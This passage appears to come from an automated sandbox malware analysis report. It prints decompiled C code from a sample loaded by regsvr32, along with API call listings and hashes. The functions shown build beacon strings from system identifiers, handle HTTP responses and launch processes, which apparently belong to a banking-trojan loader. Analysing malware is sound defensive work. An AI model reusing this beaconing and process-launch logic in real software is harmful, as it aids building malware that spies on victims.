				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0xd8a018; // 0x14d7c998
				asm("bswap eax");
				_t70 =  *0xd8a014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0xd8a010; // 0xd8d2f808
				asm("bswap eax");
				_t72 = E00D8A00C; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0xd8a348; // 0x435d5a8
				_t3 = _t73 + 0xd8b5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0xd8a02c,  *0xd8a004, _t68);
				_t76 = E00D8467F();
				_t77 =  *0xd8a348; // 0x435d5a8
				_t4 = _t77 + 0xd8b575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0xd8a348; // 0x435d5a8
					_t8 = _t148 + 0xd8b508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0xd8a348; // 0x435d5a8
				_t10 = _t81 + 0xd8b89e; // 0x50e8e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0xd8b246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0xd8a36c; // 0x50e95b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0xd8a348; // 0x435d5a8
					_t16 = _t144 + 0xd8b8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E00D8472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0xd8a348; // 0x435d5a8
					_t19 = _t139 + 0xd8b8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0xd8a2d8, 0, _a40);
				}
				_t87 = E00D81340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0xd8a348; // 0x435d5a8
					_t23 = _t135 + 0xd8b8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0xd8a2d8, 0, _a40);
				}
				_t166 =  *0xd8a3cc; // 0x50e9600
				_t89 = E00D86B59(0xd8a00a, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0xd8a2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0xd8a2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0xd8a2d8, _t172, _a8);
						goto L30;
					}
					E00D82915(GetTickCount());
					_t96 =  *0xd8a3cc; // 0x50e9600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0xd8a3cc; // 0x50e9600
					__imp__(_t100 + 0x40);
					_t102 =  *0xd8a3cc; // 0x50e9600
					_t168 = E00D86675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0xd8a2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0xd89280);
					_push(_t168);
					_t108 = E00D87563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0xd8a2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E00D86536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E00D863F6();
						L26:
						HeapFree( *0xd8a2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E00D86F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E00D8597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E00D861DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E00D8673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E00D861DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}






























































                    0x00d82b91
                    0x00d82b91
                    0x00d82b95
                    0x00d82b9c
                    0x00d82ba6
                    0x00d82ba8
                    0x00d82ba8
                    0x00d82bb5
                    0x00d82bc0
                    0x00d82bc3
                    0x00d82bce
                    0x00d82bd1
                    0x00d82bd6
                    0x00d82bd9
                    0x00d82bde
                    0x00d82be1
                    0x00d82bed
                    0x00d82bfa
                    0x00d82bfc
                    0x00d82c02
                    0x00d82c07
                    0x00d82c12
                    0x00d82c14
                    0x00d82c17
                    0x00d82c1e
                    0x00d82c20
                    0x00d82c29
                    0x00d82c34
                    0x00d82c36
                    0x00d82c39
                    0x00d82c39
                    0x00d82c3b
                    0x00d82c40
                    0x00d82c40
                    0x00d82c48
                    0x00d82c4c
                    0x00d82c52
                    0x00d82c5d
                    0x00d82c5f
                    0x00d82c64
                    0x00d82c69
                    0x00d82c6c
                    0x00d82c71
                    0x00d82c7c
                    0x00d82c7e
                    0x00d82c81
                    0x00d82c81
                    0x00d82c83
                    0x00d82c8e
                    0x00d82c94
                    0x00d82c97
                    0x00d82c9c
                    0x00d82ca7
                    0x00d82ca9
                    0x00d82cb0
                    0x00d82cba
                    0x00d82cba
                    0x00d82cbc
                    0x00d82cc1
                    0x00d82cc7
                    0x00d82cca
                    0x00d82ccf
                    0x00d82cd9
                    0x00d82cdb
                    0x00d82cea
                    0x00d82cea
                    0x00d82cec
                    0x00d82cfa
                    0x00d82cff
                    0x00d82d01
                    0x00d82d07
                    0x00d82ee7
                    0x00d82eef
                    0x00d82efc
                    0x00d82d0d
                    0x00d82d19
                    0x00d82d1f
                    0x00d82d25
                    0x00d82eda
                    0x00d82ee5
                    0x00000000
                    0x00d82ee5
                    0x00d82d31
                    0x00d82d36
                    0x00d82d3f
                    0x00d82d50
                    0x00d82d54
                    0x00d82d5d
                    0x00d82d63
                    0x00d82d70
                    0x00d82d7d
                    0x00d82d83
                    0x00d82ecd
                    0x00d82ed8
                    0x00000000
                    0x00d82ed8
                    0x00d82d8f
                    0x00d82d95
                    0x00d82d96
                    0x00d82d9b
                    0x00d82da1
                    0x00d82ec3
                    0x00d82ecb
                    0x00000000
                    0x00d82ecb
                    0x00d82dab
                    0x00d82db2
                    0x00d82dbc
                    0x00d82dc2
                    0x00d82dcc
                    0x00d82dde
                    0x00d82de0
                    0x00d82de6
                    0x00d82eff
                    0x00d82eae
                    0x00d82eae
                    0x00d82eb3
                    0x00d82ebf
                    0x00d82ec1
                    0x00000000
                    0x00d82ec1
                    0x00d82df1
                    0x00d82df6
                    0x00d82dfc
                    0x00d82e07
                    0x00d82e12
                    0x00d82e16
                    0x00d82e1c
                    0x00d82e22
                    0x00d82e28
                    0x00d82e2b
                    0x00d82e31
                    0x00d82e34
                    0x00d82e39
                    0x00d82e3d
                    0x00d82e3d
                    0x00d82e4a
                    0x00d82e58
                    0x00d82e5d
                    0x00d82e5f
                    0x00d82e65
                    0x00d82e6b
                    0x00d82e6d
                    0x00d82e72
                    0x00d82e76
                    0x00d82e92
                    0x00d82e92
                    0x00d82e65
                    0x00000000
                    0x00d82e4c
                    0x00d82e51
                    0x00d82e94
                    0x00d82e98
                    0x00d82ea2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d82ea2
                    0x00d82e53
                    0x00000000
                    0x00d82e53
                    0x00d82e4a

                    APIs
                    • GetTickCount.KERNEL32 ref: 00D82BA8
                    • wsprintfA.USER32 ref: 00D82BF5
                    • wsprintfA.USER32 ref: 00D82C12
                    • wsprintfA.USER32 ref: 00D82C34
                    • wsprintfA.USER32 ref: 00D82C5B
                    • wsprintfA.USER32 ref: 00D82C7C
                    • wsprintfA.USER32 ref: 00D82CA7
                    • HeapFree.KERNEL32(00000000,?), ref: 00D82CBA
                    • wsprintfA.USER32 ref: 00D82CD9
                    • HeapFree.KERNEL32(00000000,?), ref: 00D82CEA
                      • Part of subcall function 00D86B59: RtlEnterCriticalSection.NTDLL(050E95C0), ref: 00D86B75
                      • Part of subcall function 00D86B59: RtlLeaveCriticalSection.NTDLL(050E95C0), ref: 00D86B93
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00D82D19
                    • GetTickCount.KERNEL32 ref: 00D82D2B
                    • RtlEnterCriticalSection.NTDLL(050E95C0), ref: 00D82D3F
                    • RtlLeaveCriticalSection.NTDLL(050E95C0), ref: 00D82D5D
                      • Part of subcall function 00D86675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866A0
                      • Part of subcall function 00D86675: lstrlen.KERNEL32(00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866A8
                      • Part of subcall function 00D86675: strcpy.NTDLL ref: 00D866BF
                      • Part of subcall function 00D86675: lstrcat.KERNEL32(00000000,00000000), ref: 00D866CA
                      • Part of subcall function 00D86675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,00D83ECE,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866E7
                    • StrTrimA.SHLWAPI(00000000,00D89280,?,050E9600), ref: 00D82D8F
                      • Part of subcall function 00D87563: lstrlen.KERNEL32(050E9BD0,00000000,00000000,00000000,00D83EF9,00000000), ref: 00D87573
                      • Part of subcall function 00D87563: lstrlen.KERNEL32(?), ref: 00D8757B
                      • Part of subcall function 00D87563: lstrcpy.KERNEL32(00000000,050E9BD0), ref: 00D8758F
                      • Part of subcall function 00D87563: lstrcat.KERNEL32(00000000,?), ref: 00D8759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 00D82DB2
                    • lstrcpy.KERNEL32(?,?), ref: 00D82DBC
                    • lstrcat.KERNEL32(?,?), ref: 00D82DCC
                    • lstrcat.KERNEL32(?,00000000), ref: 00D82DD3
                      • Part of subcall function 00D86536: lstrlen.KERNEL32(?,00000000,050E9DD8,00000000,00D86F0A,050E9FFB,43175AC3,?,?,?,?,43175AC3,00000005,00D8A00C,4D283A53,?), ref: 00D8653D
                      • Part of subcall function 00D86536: mbstowcs.NTDLL ref: 00D86566
                      • Part of subcall function 00D86536: memset.NTDLL ref: 00D86578
                    • wcstombs.NTDLL ref: 00D82E76
                      • Part of subcall function 00D8597D: SysAllocString.OLEAUT32(?), ref: 00D859B8
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    • HeapFree.KERNEL32(00000000,?), ref: 00D82EBF
                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00D82ECB
                    • HeapFree.KERNEL32(00000000,?,?,050E9600), ref: 00D82ED8
                    • HeapFree.KERNEL32(00000000,?), ref: 00D82EE5
                    • HeapFree.KERNEL32(00000000,?), ref: 00D82EEF
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
                    • String ID:
                    • API String ID: 1185349883-0
                    • Opcode ID: 124c628b7f13499decb27a5cbae0f1130b5a3912fc388e22969d06810fa9352a
                    • Instruction ID: 021b0ea61231eed763fa55b7bf101a35f868cc1723fd453847efe2487cefcc26
                    • Opcode Fuzzy Hash: 124c628b7f13499decb27a5cbae0f1130b5a3912fc388e22969d06810fa9352a
                    • Instruction Fuzzy Hash: 74A19B71501314AFD712EF68DC88E6A7BE8EF88714F09092AF489D7221DB32D945CB76
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D87238 Relevance: 13.6, APIs: 9, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 43%
                    			E00D87238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0xd8a3dc; // 0x50e9c80
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E00D86ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E00D86ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E00D842E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E00D842E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E00D8398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0xd8918c;
						}
						_t70 = E00D85FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E00D833DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0xd8a348; // 0x435d5a8
								_t102 =  *0xd8a138; // 0xd87ddd
								_t28 = _t105 + 0xd8bd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E00D8398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0xd89190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E00D833DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E00D861DA(_v24);
								} else {
									_t92 =  *0xd8a348; // 0x435d5a8
									_t44 = _t92 + 0xd8ba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E00D861DA(_v8);
						}
						E00D861DA(_v12);
					}
					E00D861DA(_v16);
				}
				return _v28;
			}



































                    0x00d8723e
                    0x00d87246
                    0x00d87249
                    0x00d87256
                    0x00d87259
                    0x00d87260
                    0x00d87267
                    0x00d8726a
                    0x00d87277
                    0x00d8727a
                    0x00d8727d
                    0x00d87282
                    0x00d87287
                    0x00d8728f
                    0x00d87294
                    0x00d87299
                    0x00d8729f
                    0x00d872a3
                    0x00d872ac
                    0x00d872b0
                    0x00d872b2
                    0x00d872b2
                    0x00d872ba
                    0x00d872bf
                    0x00d872c4
                    0x00d872ca
                    0x00d872d1
                    0x00d872e2
                    0x00d872e9
                    0x00d872fb
                    0x00d87300
                    0x00d87305
                    0x00d8730e
                    0x00d87317
                    0x00d87320
                    0x00d87336
                    0x00d8733b
                    0x00d8733f
                    0x00d87343
                    0x00d87348
                    0x00d8734d
                    0x00d8734f
                    0x00d8734f
                    0x00d87359
                    0x00d87362
                    0x00d87369
                    0x00d87385
                    0x00d87389
                    0x00d873c2
                    0x00d8738b
                    0x00d8738e
                    0x00d87396
                    0x00d873a7
                    0x00d873af
                    0x00d873b7
                    0x00d873bb
                    0x00d873bb
                    0x00d87389
                    0x00d873ca
                    0x00d873ca
                    0x00d873d2
                    0x00d873d2
                    0x00d873da
                    0x00d873da
                    0x00d873e6

                    APIs
                    • GetTickCount.KERNEL32 ref: 00D87250
                    • lstrlen.KERNEL32(00000000,00000005), ref: 00D872D1
                    • lstrlen.KERNEL32(?), ref: 00D872E2
                    • lstrlen.KERNEL32(00000000), ref: 00D872E9
                    • lstrlenW.KERNEL32(80000002), ref: 00D872F0
                    • lstrlen.KERNEL32(?,00000004), ref: 00D87359
                    • lstrlen.KERNEL32(?), ref: 00D87362
                    • lstrlen.KERNEL32(?), ref: 00D87369
                    • lstrlenW.KERNEL32(?), ref: 00D87370
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: lstrlen$CountFreeHeapTick
                    • String ID:
                    • API String ID: 2535036572-0
                    • Opcode ID: 43d1e609f16ca78fd34f1f19125da4a08e4571ed97c5ed12249e93b241a0106d
                    • Instruction ID: b80e0952890ae919a3f18a8383a86985442655658e559710b55046d9b23be8f2
                    • Opcode Fuzzy Hash: 43d1e609f16ca78fd34f1f19125da4a08e4571ed97c5ed12249e93b241a0106d
                    • Instruction Fuzzy Hash: 18516B32D0021AABCF12BFA5DC49AEE7BB5EF44314F198025F914A7221DB35CA11DBB5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D837DF Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 73%
                    			E00D837DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E00D86BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E00D87AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0xd8a300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0xd8a348; // 0x435d5a8
					_t18 = _t47 + 0xd8b706; // 0x73797325
					_t68 = E00D8127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0xd8a348; // 0x435d5a8
						_t19 = _t50 + 0xd8b86c; // 0x50e8e14
						_t20 = _t50 + 0xd8b3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E00D85B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E00D85B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0xd8a2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E00D861DA(_t70);
				goto L12;
			}


















                    0x00d837e7
                    0x00d837e7
                    0x00d837f6
                    0x00d837fd
                    0x00d83802
                    0x00d8390f
                    0x00d83916
                    0x00d83916
                    0x00d83811
                    0x00d83819
                    0x00d8381c
                    0x00d83821
                    0x00d83836
                    0x00d8383c
                    0x00d8383d
                    0x00d83840
                    0x00d83846
                    0x00d83849
                    0x00d8384e
                    0x00d83856
                    0x00d83862
                    0x00d83866
                    0x00d838f6
                    0x00d8386c
                    0x00d8386c
                    0x00d83871
                    0x00d83878
                    0x00d8388c
                    0x00d83890
                    0x00d838df
                    0x00d83892
                    0x00d83893
                    0x00d8389a
                    0x00d838b3
                    0x00d838b5
                    0x00d838b9
                    0x00d838c0
                    0x00d838da
                    0x00d838c2
                    0x00d838cb
                    0x00d838d0
                    0x00d838d0
                    0x00d838c0
                    0x00d838ee
                    0x00d838ee
                    0x00d83866
                    0x00d838fd
                    0x00d83906
                    0x00d8390a
                    0x00000000

                    APIs
                      • Part of subcall function 00D86BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00D837FB,?,?,?,?,00000000,00000000), ref: 00D86C1E
                      • Part of subcall function 00D86BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 00D86C40
                      • Part of subcall function 00D86BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 00D86C56
                      • Part of subcall function 00D86BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00D86C6C
                      • Part of subcall function 00D86BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00D86C82
                      • Part of subcall function 00D86BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00D86C98
                    • memset.NTDLL ref: 00D83849
                      • Part of subcall function 00D8127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,00D83862,73797325), ref: 00D8128F
                      • Part of subcall function 00D8127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 00D812A9
                    • GetModuleHandleA.KERNEL32(4E52454B,050E8E14,73797325), ref: 00D8387F
                    • GetProcAddress.KERNEL32(00000000), ref: 00D83886
                    • HeapFree.KERNEL32(00000000,00000000), ref: 00D838EE
                      • Part of subcall function 00D85B56: GetProcAddress.KERNEL32(36776F57,00D82425), ref: 00D85B71
                    • CloseHandle.KERNEL32(00000000,00000001), ref: 00D838CB
                    • CloseHandle.KERNEL32(?), ref: 00D838D0
                    • GetLastError.KERNEL32(00000001), ref: 00D838D4
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
                    • String ID:
                    • API String ID: 3075724336-0
                    • Opcode ID: 1d027fddad90be66cc8ef1e4cb9820eddf3109eecebb8ec77b455e6bbc64aded
                    • Instruction ID: 13074c121c4e980572a15377e64d31ee429ee8dc6da878b5240079370ecd6292
                    • Opcode Fuzzy Hash: 1d027fddad90be66cc8ef1e4cb9820eddf3109eecebb8ec77b455e6bbc64aded
                    • Instruction Fuzzy Hash: BB313F71900308AFDB10AFA8DC89EAEBBBCEB04314F144465F646E7221D735AE48DB70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D83FA5 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D83FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E00D833DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E00D861DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E00D816B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                    0x00d83fa5
                    0x00d83fa5
                    0x00d83fb5
                    0x00d83fb8
                    0x00d83fbc
                    0x00d83fc2
                    0x00d83fc7
                    0x00d83fe0
                    0x00d83ff4
                    0x00d83ffb
                    0x00d84002
                    0x00d84055
                    0x00d8405b
                    0x00d84061
                    0x00d8409c
                    0x00d840a2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d84061
                    0x00d84008
                    0x00000000
                    0x00d8400f
                    0x00d8401d
                    0x00d84020
                    0x00d84023
                    0x00d8402f
                    0x00d84033
                    0x00d84095
                    0x00d84035
                    0x00d84047
                    0x00d84085
                    0x00d84090
                    0x00d84049
                    0x00d8404c
                    0x00d84050
                    0x00d84050
                    0x00d84047
                    0x00000000
                    0x00d84033
                    0x00d84008
                    0x00d83fcc
                    0x00d83fd2
                    0x00d83fd5
                    0x00d83fda
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d8406a
                    0x00d84072
                    0x00d84077
                    0x00d8407a
                    0x00000000

                    APIs
